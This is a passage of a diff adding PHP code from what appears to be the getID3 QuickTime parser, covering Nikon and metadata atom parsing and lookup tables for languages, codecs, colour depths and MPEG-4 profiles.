+			case 'NCDT':
+				// http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html
+				// Nikon-specific QuickTime tags found in the NCDT atom of MOV videos from some Nikon cameras such as the Coolpix S8000 and D5100
+				$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 4, $atomHierarchy, $ParseAllPossibleAtoms);
+				break;
+			case 'NCTH': // Nikon Camera THumbnail image
+			case 'NCVW': // Nikon Camera preVieW image
+				// http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html
+				if (preg_match('/^\xFF\xD8\xFF/', $atom_data)) {
+					$atom_structure['data'] = $atom_data;
+					$atom_structure['image_mime'] = 'image/jpeg';
+					$atom_structure['description'] = (($atomname == 'NCTH') ? 'Nikon Camera Thumbnail Image' : (($atomname == 'NCVW') ? 'Nikon Camera Preview Image' : 'Nikon preview image'));
+					$info['quicktime']['comments']['picture'][] = array('image_mime'=>$atom_structure['image_mime'], 'data'=>$atom_data, 'description'=>$atom_structure['description']);
+				}
+				break;
+			case 'NCTG': // Nikon - http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html#NCTG
+				$atom_structure['data'] = $this->QuicktimeParseNikonNCTG($atom_data);
+				break;
+			case 'NCHD': // Nikon:MakerNoteVersion  - http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html
+			case 'NCDB': // Nikon                   - http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html
+			case 'CNCV': // Canon:CompressorVersion - http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Canon.html
+				$atom_structure['data'] = $atom_data;
+				break;
+
+			case "\x00\x00\x00\x00":
+			case 'meta': // METAdata atom
+				// some kind of metacontainer, may contain a big data dump such as:
+				// mdta keys  mdtacom.apple.quicktime.make (mdtacom.apple.quicktime.creationdate ,mdtacom.apple.quicktime.location.ISO6709 $mdtacom.apple.quicktime.software !mdtacom.apple.quicktime.model ilst 
+  data DEApple 0  (data DE2011-05-11T17:54:04+0200 2  *data DE+52.4936+013.3897+040.247/ 
+  data DE4.3.1  data DEiPhone 4
+				// http://www.geocities.com/xhelmboyx/quicktime/formats/qti-layout.txt
+
+	            $atom_structure['version']   =          getid3_lib::BigEndian2Int(substr($atom_data, 0, 1));
+	            $atom_structure['flags_raw'] =          getid3_lib::BigEndian2Int(substr($atom_data, 1, 3));
+	            $atom_structure['subatoms']  = $this->QuicktimeParseContainerAtom(substr($atom_data, 4), $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
+				//$atom_structure['subatoms']  = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
+				break;
+
+			case 'data': // metaDATA atom
+				// seems to be 2 bytes language code (ASCII), 2 bytes unknown (set to 0x10B5 in sample I have), remainder is useful data
+				$atom_structure['language'] =                           substr($atom_data, 4 + 0, 2);
+				$atom_structure['unknown']  = getid3_lib::BigEndian2Int(substr($atom_data, 4 + 2, 2));
+				$atom_structure['data']     =                           substr($atom_data, 4 + 4);
+				break;
+
+			default:
+				$info['warning'][] = 'Unknown QuickTime atom type: "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $atomname).'" ('.trim(getid3_lib::PrintHexBytes($atomname)).') at offset '.$baseoffset;
+				$atom_structure['data'] = $atom_data;
+				break;
+		}
+		array_pop($atomHierarchy);
+		return $atom_structure;
+	}
+
+	public function QuicktimeParseContainerAtom($atom_data, $baseoffset, &$atomHierarchy, $ParseAllPossibleAtoms) {
+//echo 'QuicktimeParseContainerAtom('.substr($atom_data, 4, 4).') @ '.$baseoffset.'<br><br>';
+		$atom_structure  = false;
+		$subatomoffset  = 0;
+		$subatomcounter = 0;
+		if ((strlen($atom_data) == 4) && (getid3_lib::BigEndian2Int($atom_data) == 0x00000000)) {
+			return false;
+		}
+		while ($subatomoffset < strlen($atom_data)) {
+			$subatomsize = getid3_lib::BigEndian2Int(substr($atom_data, $subatomoffset + 0, 4));
+			$subatomname =                           substr($atom_data, $subatomoffset + 4, 4);
+			$subatomdata =                           substr($atom_data, $subatomoffset + 8, $subatomsize - 8);
+			if ($subatomsize == 0) {
+				// Furthermore, for historical reasons the list of atoms is optionally
+				// terminated by a 32-bit integer set to 0. If you are writing a program
+				// to read user data atoms, you should allow for the terminating 0.
+				return $atom_structure;
+			}
+
+			$atom_structure[$subatomcounter] = $this->QuicktimeParseAtom($subatomname, $subatomsize, $subatomdata, $baseoffset + $subatomoffset, $atomHierarchy, $ParseAllPossibleAtoms);
+
+			$subatomoffset += $subatomsize;
+			$subatomcounter++;
+		}
+		return $atom_structure;
+	}
+
+
+	public function quicktime_read_mp4_descr_length($data, &$offset) {
+		// http://libquicktime.sourcearchive.com/documentation/2:1.0.2plus-pdebian-2build1/esds_8c-source.html
+		$num_bytes = 0;
+		$length    = 0;
+		do {
+			$b = ord(substr($data, $offset++, 1));
+			$length = ($length << 7) | ($b & 0x7F);
+		} while (($b & 0x80) && ($num_bytes++ < 4));
+		return $length;
+	}
+
+
+	public function QuicktimeLanguageLookup($languageid) {
+		// http://developer.apple.com/library/mac/#documentation/QuickTime/QTFF/QTFFChap4/qtff4.html#//apple_ref/doc/uid/TP40000939-CH206-34353
+		static $QuicktimeLanguageLookup = array();
+		if (empty($QuicktimeLanguageLookup)) {
+			$QuicktimeLanguageLookup[0]     = 'English';
+			$QuicktimeLanguageLookup[1]     = 'French';
+			$QuicktimeLanguageLookup[2]     = 'German';
+			$QuicktimeLanguageLookup[3]     = 'Italian';
+			$QuicktimeLanguageLookup[4]     = 'Dutch';
+			$QuicktimeLanguageLookup[5]     = 'Swedish';
+			$QuicktimeLanguageLookup[6]     = 'Spanish';
+			$QuicktimeLanguageLookup[7]     = 'Danish';
+			$QuicktimeLanguageLookup[8]     = 'Portuguese';
+			$QuicktimeLanguageLookup[9]     = 'Norwegian';
+			$QuicktimeLanguageLookup[10]    = 'Hebrew';
+			$QuicktimeLanguageLookup[11]    = 'Japanese';
+			$QuicktimeLanguageLookup[12]    = 'Arabic';
+			$QuicktimeLanguageLookup[13]    = 'Finnish';
+			$QuicktimeLanguageLookup[14]    = 'Greek';
+			$QuicktimeLanguageLookup[15]    = 'Icelandic';
+			$QuicktimeLanguageLookup[16]    = 'Maltese';
+			$QuicktimeLanguageLookup[17]    = 'Turkish';
+			$QuicktimeLanguageLookup[18]    = 'Croatian';
+			$QuicktimeLanguageLookup[19]    = 'Chinese (Traditional)';
+			$QuicktimeLanguageLookup[20]    = 'Urdu';
+			$QuicktimeLanguageLookup[21]    = 'Hindi';
+			$QuicktimeLanguageLookup[22]    = 'Thai';
+			$QuicktimeLanguageLookup[23]    = 'Korean';
+			$QuicktimeLanguageLookup[24]    = 'Lithuanian';
+			$QuicktimeLanguageLookup[25]    = 'Polish';
+			$QuicktimeLanguageLookup[26]    = 'Hungarian';
+			$QuicktimeLanguageLookup[27]    = 'Estonian';
+			$QuicktimeLanguageLookup[28]    = 'Lettish';
+			$QuicktimeLanguageLookup[28]    = 'Latvian';
+			$QuicktimeLanguageLookup[29]    = 'Saamisk';
+			$QuicktimeLanguageLookup[29]    = 'Lappish';
+			$QuicktimeLanguageLookup[30]    = 'Faeroese';
+			$QuicktimeLanguageLookup[31]    = 'Farsi';
+			$QuicktimeLanguageLookup[31]    = 'Persian';
+			$QuicktimeLanguageLookup[32]    = 'Russian';
+			$QuicktimeLanguageLookup[33]    = 'Chinese (Simplified)';
+			$QuicktimeLanguageLookup[34]    = 'Flemish';
+			$QuicktimeLanguageLookup[35]    = 'Irish';
+			$QuicktimeLanguageLookup[36]    = 'Albanian';
+			$QuicktimeLanguageLookup[37]    = 'Romanian';
+			$QuicktimeLanguageLookup[38]    = 'Czech';
+			$QuicktimeLanguageLookup[39]    = 'Slovak';
+			$QuicktimeLanguageLookup[40]    = 'Slovenian';
+			$QuicktimeLanguageLookup[41]    = 'Yiddish';
+			$QuicktimeLanguageLookup[42]    = 'Serbian';
+			$QuicktimeLanguageLookup[43]    = 'Macedonian';
+			$QuicktimeLanguageLookup[44]    = 'Bulgarian';
+			$QuicktimeLanguageLookup[45]    = 'Ukrainian';
+			$QuicktimeLanguageLookup[46]    = 'Byelorussian';
+			$QuicktimeLanguageLookup[47]    = 'Uzbek';
+			$QuicktimeLanguageLookup[48]    = 'Kazakh';
+			$QuicktimeLanguageLookup[49]    = 'Azerbaijani';
+			$QuicktimeLanguageLookup[50]    = 'AzerbaijanAr';
+			$QuicktimeLanguageLookup[51]    = 'Armenian';
+			$QuicktimeLanguageLookup[52]    = 'Georgian';
+			$QuicktimeLanguageLookup[53]    = 'Moldavian';
+			$QuicktimeLanguageLookup[54]    = 'Kirghiz';
+			$QuicktimeLanguageLookup[55]    = 'Tajiki';
+			$QuicktimeLanguageLookup[56]    = 'Turkmen';
+			$QuicktimeLanguageLookup[57]    = 'Mongolian';
+			$QuicktimeLanguageLookup[58]    = 'MongolianCyr';
+			$QuicktimeLanguageLookup[59]    = 'Pashto';
+			$QuicktimeLanguageLookup[60]    = 'Kurdish';
+			$QuicktimeLanguageLookup[61]    = 'Kashmiri';
+			$QuicktimeLanguageLookup[62]    = 'Sindhi';
+			$QuicktimeLanguageLookup[63]    = 'Tibetan';
+			$QuicktimeLanguageLookup[64]    = 'Nepali';
+			$QuicktimeLanguageLookup[65]    = 'Sanskrit';
+			$QuicktimeLanguageLookup[66]    = 'Marathi';
+			$QuicktimeLanguageLookup[67]    = 'Bengali';
+			$QuicktimeLanguageLookup[68]    = 'Assamese';
+			$QuicktimeLanguageLookup[69]    = 'Gujarati';
+			$QuicktimeLanguageLookup[70]    = 'Punjabi';
+			$QuicktimeLanguageLookup[71]    = 'Oriya';
+			$QuicktimeLanguageLookup[72]    = 'Malayalam';
+			$QuicktimeLanguageLookup[73]    = 'Kannada';
+			$QuicktimeLanguageLookup[74]    = 'Tamil';
+			$QuicktimeLanguageLookup[75]    = 'Telugu';
+			$QuicktimeLanguageLookup[76]    = 'Sinhalese';
+			$QuicktimeLanguageLookup[77]    = 'Burmese';
+			$QuicktimeLanguageLookup[78]    = 'Khmer';
+			$QuicktimeLanguageLookup[79]    = 'Lao';
+			$QuicktimeLanguageLookup[80]    = 'Vietnamese';
+			$QuicktimeLanguageLookup[81]    = 'Indonesian';
+			$QuicktimeLanguageLookup[82]    = 'Tagalog';
+			$QuicktimeLanguageLookup[83]    = 'MalayRoman';
+			$QuicktimeLanguageLookup[84]    = 'MalayArabic';
+			$QuicktimeLanguageLookup[85]    = 'Amharic';
+			$QuicktimeLanguageLookup[86]    = 'Tigrinya';
+			$QuicktimeLanguageLookup[87]    = 'Galla';
+			$QuicktimeLanguageLookup[87]    = 'Oromo';
+			$QuicktimeLanguageLookup[88]    = 'Somali';
+			$QuicktimeLanguageLookup[89]    = 'Swahili';
+			$QuicktimeLanguageLookup[90]    = 'Ruanda';
+			$QuicktimeLanguageLookup[91]    = 'Rundi';
+			$QuicktimeLanguageLookup[92]    = 'Chewa';
+			$QuicktimeLanguageLookup[93]    = 'Malagasy';
+			$QuicktimeLanguageLookup[94]    = 'Esperanto';
+			$QuicktimeLanguageLookup[128]   = 'Welsh';
+			$QuicktimeLanguageLookup[129]   = 'Basque';
+			$QuicktimeLanguageLookup[130]   = 'Catalan';
+			$QuicktimeLanguageLookup[131]   = 'Latin';
+			$QuicktimeLanguageLookup[132]   = 'Quechua';
+			$QuicktimeLanguageLookup[133]   = 'Guarani';
+			$QuicktimeLanguageLookup[134]   = 'Aymara';
+			$QuicktimeLanguageLookup[135]   = 'Tatar';
+			$QuicktimeLanguageLookup[136]   = 'Uighur';
+			$QuicktimeLanguageLookup[137]   = 'Dzongkha';
+			$QuicktimeLanguageLookup[138]   = 'JavaneseRom';
+			$QuicktimeLanguageLookup[32767] = 'Unspecified';
+		}
+		if (($languageid > 138) && ($languageid < 32767)) {
+			/*
+			ISO Language Codes - http://www.loc.gov/standards/iso639-2/php/code_list.php
+			Because the language codes specified by ISO 639-2/T are three characters long, they must be packed to fit into a 16-bit field.
+			The packing algorithm must map each of the three characters, which are always lowercase, into a 5-bit integer and then concatenate
+			these integers into the least significant 15 bits of a 16-bit integer, leaving the 16-bit integer's most significant bit set to zero.
+
+			One algorithm for performing this packing is to treat each ISO character as a 16-bit integer. Subtract 0x60 from the first character
+			and multiply by 2^10 (0x400), subtract 0x60 from the second character and multiply by 2^5 (0x20), subtract 0x60 from the third character,
+			and add the three 16-bit values. This will result in a single 16-bit value with the three codes correctly packed into the 15 least
+			significant bits and the most significant bit set to zero.
+			*/
+			$iso_language_id  = '';
+			$iso_language_id .= chr((($languageid & 0x7C00) >> 10) + 0x60);
+			$iso_language_id .= chr((($languageid & 0x03E0) >>  5) + 0x60);
+			$iso_language_id .= chr((($languageid & 0x001F) >>  0) + 0x60);
+			$QuicktimeLanguageLookup[$languageid] = getid3_id3v2::LanguageLookup($iso_language_id);
+		}
+		return (isset($QuicktimeLanguageLookup[$languageid]) ? $QuicktimeLanguageLookup[$languageid] : 'invalid');
+	}
+
+	public function QuicktimeVideoCodecLookup($codecid) {
+		static $QuicktimeVideoCodecLookup = array();
+		if (empty($QuicktimeVideoCodecLookup)) {
+			$QuicktimeVideoCodecLookup['.SGI'] = 'SGI';
+			$QuicktimeVideoCodecLookup['3IV1'] = '3ivx MPEG-4 v1';
+			$QuicktimeVideoCodecLookup['3IV2'] = '3ivx MPEG-4 v2';
+			$QuicktimeVideoCodecLookup['3IVX'] = '3ivx MPEG-4';
+			$QuicktimeVideoCodecLookup['8BPS'] = 'Planar RGB';
+			$QuicktimeVideoCodecLookup['avc1'] = 'H.264/MPEG-4 AVC';
+			$QuicktimeVideoCodecLookup['avr '] = 'AVR-JPEG';
+			$QuicktimeVideoCodecLookup['b16g'] = '16Gray';
+			$QuicktimeVideoCodecLookup['b32a'] = '32AlphaGray';
+			$QuicktimeVideoCodecLookup['b48r'] = '48RGB';
+			$QuicktimeVideoCodecLookup['b64a'] = '64ARGB';
+			$QuicktimeVideoCodecLookup['base'] = 'Base';
+			$QuicktimeVideoCodecLookup['clou'] = 'Cloud';
+			$QuicktimeVideoCodecLookup['cmyk'] = 'CMYK';
+			$QuicktimeVideoCodecLookup['cvid'] = 'Cinepak';
+			$QuicktimeVideoCodecLookup['dmb1'] = 'OpenDML JPEG';
+			$QuicktimeVideoCodecLookup['dvc '] = 'DVC-NTSC';
+			$QuicktimeVideoCodecLookup['dvcp'] = 'DVC-PAL';
+			$QuicktimeVideoCodecLookup['dvpn'] = 'DVCPro-NTSC';
+			$QuicktimeVideoCodecLookup['dvpp'] = 'DVCPro-PAL';
+			$QuicktimeVideoCodecLookup['fire'] = 'Fire';
+			$QuicktimeVideoCodecLookup['flic'] = 'FLC';
+			$QuicktimeVideoCodecLookup['gif '] = 'GIF';
+			$QuicktimeVideoCodecLookup['h261'] = 'H261';
+			$QuicktimeVideoCodecLookup['h263'] = 'H263';
+			$QuicktimeVideoCodecLookup['IV41'] = 'Indeo4';
+			$QuicktimeVideoCodecLookup['jpeg'] = 'JPEG';
+			$QuicktimeVideoCodecLookup['kpcd'] = 'PhotoCD';
+			$QuicktimeVideoCodecLookup['mjpa'] = 'Motion JPEG-A';
+			$QuicktimeVideoCodecLookup['mjpb'] = 'Motion JPEG-B';
+			$QuicktimeVideoCodecLookup['msvc'] = 'Microsoft Video1';
+			$QuicktimeVideoCodecLookup['myuv'] = 'MPEG YUV420';
+			$QuicktimeVideoCodecLookup['path'] = 'Vector';
+			$QuicktimeVideoCodecLookup['png '] = 'PNG';
+			$QuicktimeVideoCodecLookup['PNTG'] = 'MacPaint';
+			$QuicktimeVideoCodecLookup['qdgx'] = 'QuickDrawGX';
+			$QuicktimeVideoCodecLookup['qdrw'] = 'QuickDraw';
+			$QuicktimeVideoCodecLookup['raw '] = 'RAW';
+			$QuicktimeVideoCodecLookup['ripl'] = 'WaterRipple';
+			$QuicktimeVideoCodecLookup['rpza'] = 'Video';
+			$QuicktimeVideoCodecLookup['smc '] = 'Graphics';
+			$QuicktimeVideoCodecLookup['SVQ1'] = 'Sorenson Video 1';
+			$QuicktimeVideoCodecLookup['SVQ1'] = 'Sorenson Video 3';
+			$QuicktimeVideoCodecLookup['syv9'] = 'Sorenson YUV9';
+			$QuicktimeVideoCodecLookup['tga '] = 'Targa';
+			$QuicktimeVideoCodecLookup['tiff'] = 'TIFF';
+			$QuicktimeVideoCodecLookup['WRAW'] = 'Windows RAW';
+			$QuicktimeVideoCodecLookup['WRLE'] = 'BMP';
+			$QuicktimeVideoCodecLookup['y420'] = 'YUV420';
+			$QuicktimeVideoCodecLookup['yuv2'] = 'ComponentVideo';
+			$QuicktimeVideoCodecLookup['yuvs'] = 'ComponentVideoUnsigned';
+			$QuicktimeVideoCodecLookup['yuvu'] = 'ComponentVideoSigned';
+		}
+		return (isset($QuicktimeVideoCodecLookup[$codecid]) ? $QuicktimeVideoCodecLookup[$codecid] : '');
+	}
+
+	public function QuicktimeAudioCodecLookup($codecid) {
+		static $QuicktimeAudioCodecLookup = array();
+		if (empty($QuicktimeAudioCodecLookup)) {
+			$QuicktimeAudioCodecLookup['.mp3']          = 'Fraunhofer MPEG Layer-III alias';
+			$QuicktimeAudioCodecLookup['aac ']          = 'ISO/IEC 14496-3 AAC';
+			$QuicktimeAudioCodecLookup['agsm']          = 'Apple GSM 10:1';
+			$QuicktimeAudioCodecLookup['alac']          = 'Apple Lossless Audio Codec';
+			$QuicktimeAudioCodecLookup['alaw']          = 'A-law 2:1';
+			$QuicktimeAudioCodecLookup['conv']          = 'Sample Format';
+			$QuicktimeAudioCodecLookup['dvca']          = 'DV';
+			$QuicktimeAudioCodecLookup['dvi ']          = 'DV 4:1';
+			$QuicktimeAudioCodecLookup['eqal']          = 'Frequency Equalizer';
+			$QuicktimeAudioCodecLookup['fl32']          = '32-bit Floating Point';
+			$QuicktimeAudioCodecLookup['fl64']          = '64-bit Floating Point';
+			$QuicktimeAudioCodecLookup['ima4']          = 'Interactive Multimedia Association 4:1';
+			$QuicktimeAudioCodecLookup['in24']          = '24-bit Integer';
+			$QuicktimeAudioCodecLookup['in32']          = '32-bit Integer';
+			$QuicktimeAudioCodecLookup['lpc ']          = 'LPC 23:1';
+			$QuicktimeAudioCodecLookup['MAC3']          = 'Macintosh Audio Compression/Expansion (MACE) 3:1';
+			$QuicktimeAudioCodecLookup['MAC6']          = 'Macintosh Audio Compression/Expansion (MACE) 6:1';
+			$QuicktimeAudioCodecLookup['mixb']          = '8-bit Mixer';
+			$QuicktimeAudioCodecLookup['mixw']          = '16-bit Mixer';
+			$QuicktimeAudioCodecLookup['mp4a']          = 'ISO/IEC 14496-3 AAC';
+			$QuicktimeAudioCodecLookup['MS'."\x00\x02"] = 'Microsoft ADPCM';
+			$QuicktimeAudioCodecLookup['MS'."\x00\x11"] = 'DV IMA';
+			$QuicktimeAudioCodecLookup['MS'."\x00\x55"] = 'Fraunhofer MPEG Layer III';
+			$QuicktimeAudioCodecLookup['NONE']          = 'No Encoding';
+			$QuicktimeAudioCodecLookup['Qclp']          = 'Qualcomm PureVoice';
+			$QuicktimeAudioCodecLookup['QDM2']          = 'QDesign Music 2';
+			$QuicktimeAudioCodecLookup['QDMC']          = 'QDesign Music 1';
+			$QuicktimeAudioCodecLookup['ratb']          = '8-bit Rate';
+			$QuicktimeAudioCodecLookup['ratw']          = '16-bit Rate';
+			$QuicktimeAudioCodecLookup['raw ']          = 'raw PCM';
+			$QuicktimeAudioCodecLookup['sour']          = 'Sound Source';
+			$QuicktimeAudioCodecLookup['sowt']          = 'signed/two\'s complement (Little Endian)';
+			$QuicktimeAudioCodecLookup['str1']          = 'Iomega MPEG layer II';
+			$QuicktimeAudioCodecLookup['str2']          = 'Iomega MPEG *layer II';
+			$QuicktimeAudioCodecLookup['str3']          = 'Iomega MPEG **layer II';
+			$QuicktimeAudioCodecLookup['str4']          = 'Iomega MPEG ***layer II';
+			$QuicktimeAudioCodecLookup['twos']          = 'signed/two\'s complement (Big Endian)';
+			$QuicktimeAudioCodecLookup['ulaw']          = 'mu-law 2:1';
+		}
+		return (isset($QuicktimeAudioCodecLookup[$codecid]) ? $QuicktimeAudioCodecLookup[$codecid] : '');
+	}
+
+	public function QuicktimeDCOMLookup($compressionid) {
+		static $QuicktimeDCOMLookup = array();
+		if (empty($QuicktimeDCOMLookup)) {
+			$QuicktimeDCOMLookup['zlib'] = 'ZLib Deflate';
+			$QuicktimeDCOMLookup['adec'] = 'Apple Compression';
+		}
+		return (isset($QuicktimeDCOMLookup[$compressionid]) ? $QuicktimeDCOMLookup[$compressionid] : '');
+	}
+
+	public function QuicktimeColorNameLookup($colordepthid) {
+		static $QuicktimeColorNameLookup = array();
+		if (empty($QuicktimeColorNameLookup)) {
+			$QuicktimeColorNameLookup[1]  = '2-color (monochrome)';
+			$QuicktimeColorNameLookup[2]  = '4-color';
+			$QuicktimeColorNameLookup[4]  = '16-color';
+			$QuicktimeColorNameLookup[8]  = '256-color';
+			$QuicktimeColorNameLookup[16] = 'thousands (16-bit color)';
+			$QuicktimeColorNameLookup[24] = 'millions (24-bit color)';
+			$QuicktimeColorNameLookup[32] = 'millions+ (32-bit color)';
+			$QuicktimeColorNameLookup[33] = 'black & white';
+			$QuicktimeColorNameLookup[34] = '4-gray';
+			$QuicktimeColorNameLookup[36] = '16-gray';
+			$QuicktimeColorNameLookup[40] = '256-gray';
+		}
+		return (isset($QuicktimeColorNameLookup[$colordepthid]) ? $QuicktimeColorNameLookup[$colordepthid] : 'invalid');
+	}
+
+	public function QuicktimeSTIKLookup($stik) {
+		static $QuicktimeSTIKLookup = array();
+		if (empty($QuicktimeSTIKLookup)) {
+			$QuicktimeSTIKLookup[0]  = 'Movie';
+			$QuicktimeSTIKLookup[1]  = 'Normal';
+			$QuicktimeSTIKLookup[2]  = 'Audiobook';
+			$QuicktimeSTIKLookup[5]  = 'Whacked Bookmark';
+			$QuicktimeSTIKLookup[6]  = 'Music Video';
+			$QuicktimeSTIKLookup[9]  = 'Short Film';
+			$QuicktimeSTIKLookup[10] = 'TV Show';
+			$QuicktimeSTIKLookup[11] = 'Booklet';
+			$QuicktimeSTIKLookup[14] = 'Ringtone';
+			$QuicktimeSTIKLookup[21] = 'Podcast';
+		}
+		return (isset($QuicktimeSTIKLookup[$stik]) ? $QuicktimeSTIKLookup[$stik] : 'invalid');
+	}
+
+	public function QuicktimeIODSaudioProfileName($audio_profile_id) {
+		static $QuicktimeIODSaudioProfileNameLookup = array();
+		if (empty($QuicktimeIODSaudioProfileNameLookup)) {
+			$QuicktimeIODSaudioProfileNameLookup = array(
+			    0x00 => 'ISO Reserved (0x00)',
+			    0x01 => 'Main Audio Profile @ Level 1',
+			    0x02 => 'Main Audio Profile @ Level 2',
+			    0x03 => 'Main Audio Profile @ Level 3',
+			    0x04 => 'Main Audio Profile @ Level 4',
+			    0x05 => 'Scalable Audio Profile @ Level 1',
+			    0x06 => 'Scalable Audio Profile @ Level 2',
+			    0x07 => 'Scalable Audio Profile @ Level 3',
+			    0x08 => 'Scalable Audio Profile @ Level 4',
+			    0x09 => 'Speech Audio Profile @ Level 1',
+			    0x0A => 'Speech Audio Profile @ Level 2',
+			    0x0B => 'Synthetic Audio Profile @ Level 1',
+			    0x0C => 'Synthetic Audio Profile @ Level 2',
+			    0x0D => 'Synthetic Audio Profile @ Level 3',
+			    0x0E => 'High Quality Audio Profile @ Level 1',
+			    0x0F => 'High Quality Audio Profile @ Level 2',
+			    0x10 => 'High Quality Audio Profile @ Level 3',
+			    0x11 => 'High Quality Audio Profile @ Level 4',
+			    0x12 => 'High Quality Audio Profile @ Level 5',
+			    0x13 => 'High Quality Audio Profile @ Level 6',
+			    0x14 => 'High Quality Audio Profile @ Level 7',
+			    0x15 => 'High Quality Audio Profile @ Level 8',
+			    0x16 => 'Low Delay Audio Profile @ Level 1',
+			    0x17 => 'Low Delay Audio Profile @ Level 2',
+			    0x18 => 'Low Delay Audio Profile @ Level 3',
+			    0x19 => 'Low Delay Audio Profile @ Level 4',
+			    0x1A => 'Low Delay Audio Profile @ Level 5',
+			    0x1B => 'Low Delay Audio Profile @ Level 6',
+			    0x1C => 'Low Delay Audio Profile @ Level 7',
+			    0x1D => 'Low Delay Audio Profile @ Level 8',
+			    0x1E => 'Natural Audio Profile @ Level 1',
+			    0x1F => 'Natural Audio Profile @ Level 2',
+			    0x20 => 'Natural Audio Profile @ Level 3',
+			    0x21 => 'Natural Audio Profile @ Level 4',
+			    0x22 => 'Mobile Audio Internetworking Profile @ Level 1',
+			    0x23 => 'Mobile Audio Internetworking Profile @ Level 2',
+			    0x24 => 'Mobile Audio Internetworking Profile @ Level 3',
+			    0x25 => 'Mobile Audio Internetworking Profile @ Level 4',
+			    0x26 => 'Mobile Audio Internetworking Profile @ Level 5',
+			    0x27 => 'Mobile Audio Internetworking Profile @ Level 6',
+			    0x28 => 'AAC Profile @ Level 1',
+			    0x29 => 'AAC Profile @ Level 2',
+			    0x2A => 'AAC Profile @ Level 4',
+			    0x2B => 'AAC Profile @ Level 5',
+			    0x2C => 'High Efficiency AAC Profile @ Level 2',
+			    0x2D => 'High Efficiency AAC Profile @ Level 3',
+			    0x2E => 'High Efficiency AAC Profile @ Level 4',
+			    0x2F => 'High Efficiency AAC Profile @ Level 5',
+			    0xFE => 'Not part of MPEG-4 audio profiles',
+			    0xFF => 'No audio capability required',
+			);
+		}
+		return (isset($QuicktimeIODSaudioProfileNameLookup[$audio_profile_id]) ? $QuicktimeIODSaudioProfileNameLookup[$audio_profile_id] : 'ISO Reserved / User Private');
+	}
+
+
+	public function QuicktimeIODSvideoProfileName($video_profile_id) {
+		static $QuicktimeIODSvideoProfileNameLookup = array();
+		if (empty($QuicktimeIODSvideoProfileNameLookup)) {
+			$QuicktimeIODSvideoProfileNameLookup = array(
+				0x00 => 'Reserved (0x00) Profile',
+				0x01 => 'Simple Profile @ Level 1',
+				0x02 => 'Simple Profile @ Level 2',
+				0x03 => 'Simple Profile @ Level 3',
+				0x08 => 'Simple Profile @ Level 0',
+				0x10 => 'Simple Scalable Profile @ Level 0',
+				0x11 => 'Simple Scalable Profile @ Level 1',
+				0x12 => 'Simple Scalable Profile @ Level 2',
+				0x15 => 'AVC/H264 Profile',
+				0x21 => 'Core Profile @ Level 1',
+				0x22 => 'Core Profile @ Level 2',
+				0x32 => 'Main Profile @ Level 2',
+				0x33 => 'Main Profile @ Level 3',
+				0x34 => 'Main Profile @ Level 4',
+				0x42 => 'N-bit Profile @ Level 2',
+				0x51 => 'Scalable Texture Profile @ Level 1',
+				0x61 => 'Simple Face Animation Profile @ Level 1',
+				0x62 => 'Simple Face Animation Profile @ Level 2',
+				0x63 => 'Simple FBA Profile @ Level 1',
+				0x64 => 'Simple FBA Profile @ Level 2',
+				0x71 => 'Basic Animated Texture Profile @ Level 1',
+				0x72 => 'Basic Animated Texture Profile @ Level 2',
+				0x81 => 'Hybrid Profile @ Level 1',
+				0x82 => 'Hybrid Profile @ Level 2',
+				0x91 => 'Advanced Real Time Simple Profile @ Level 1',
+				0x92 => 'Advanced Real Time Simple Profile @ Level 2',
+				0x93 => 'Advanced Real Time Simple Profile @ Level 3',
+				0x94 => 'Advanced Real Time Simple Profile @ Level 4',
+				0xA1 => 'Core Scalable Profile @ Level1',
+				0xA2 => 'Core Scalable Profile @ Level2',
+				0xA3 => 'Core Scalable Profile @ Level3',
+				0xB1 => 'Advanced Coding Efficiency Profile @ Level 1',
+				0xB2 => 'Advanced Coding Efficiency Profile @ Level 2',
+				0xB3 => 'Advanced Coding Efficiency Profile @ Level 3',
+				0xB4 => 'Advanced Coding Efficiency Profile @ Level 4',
+				0xC1 => 'Advanced Core Profile @ Level 1',
+				0xC2 => 'Advanced Core Profile @ Level 2',
+				0xD1 => 'Advanced Scalable Texture @ Level1',
+				0xD2 => 'Advanced Scalable Texture @ Level2',
+				0xE1 => 'Simple Studio Profile @ Level 1',
+				0xE2 => 'Simple Studio Profile @ Level 2',
+				0xE3 => 'Simple Studio Profile @ Level 3',
+				0xE4 => 'Simple Studio Profile @ Level 4',
+				0xE5 => 'Core Studio Profile @ Level 1',
+				0xE6 => 'Core Studio Profile @ Level 2',
+				0xE7 => 'Core Studio Profile @ Level 3',
+				0xE8 => 'Core Studio Profile @ Level 4',
+				0xF0 => 'Advanced Simple Profile @ Level 0',
+				0xF1 => 'Advanced Simple Profile @ Level 1',
+				0xF2 => 'Advanced Simple Profile @ Level 2',
+				0xF3 => 'Advanced Simple Profile @ Level 3',
+				0xF4 => 'Advanced Simple Profile @ Level 4',
+				0xF5 => 'Advanced Simple Profile @ Level 5',
+				0xF7 => 'Advanced Simple Profile @ Level 3b',
+				0xF8 => 'Fine Granularity Scalable Profile @ Level 0',
+				0xF9 => 'Fine Granularity Scalable Profile @ Level 1',
+				0xFA => 'Fine Granularity Scalable Profile @ Level 2',
+				0xFB => 'Fine Granularity Scalable Profile @ Level 3',
+				0xFC => 'Fine Granularity Scalable Profile @ Level 4',
+				0xFD => 'Fine Granularity Scalable Profile @ Level 5',
+				0xFE => 'Not part of MPEG-4 Visual profiles',
+				0xFF => 'No visual capability required',
+			);
+		}
+		return (isset($QuicktimeIODSvideoProfileNameLookup[$video_profile_id]) ? $QuicktimeIODSvideoProfileNameLookup[$video_profile_id] : 'ISO Reserved Profile');
+	}
+
+
+	public function QuicktimeContentRatingLookup($rtng) {
+		static $QuicktimeContentRatingLookup = array();
+		if (empty($QuicktimeContentRatingLookup)) {
+			$QuicktimeContentRatingLookup[0]  = 'None';
+			$QuicktimeContentRatingLookup[2]  = 'Clean';
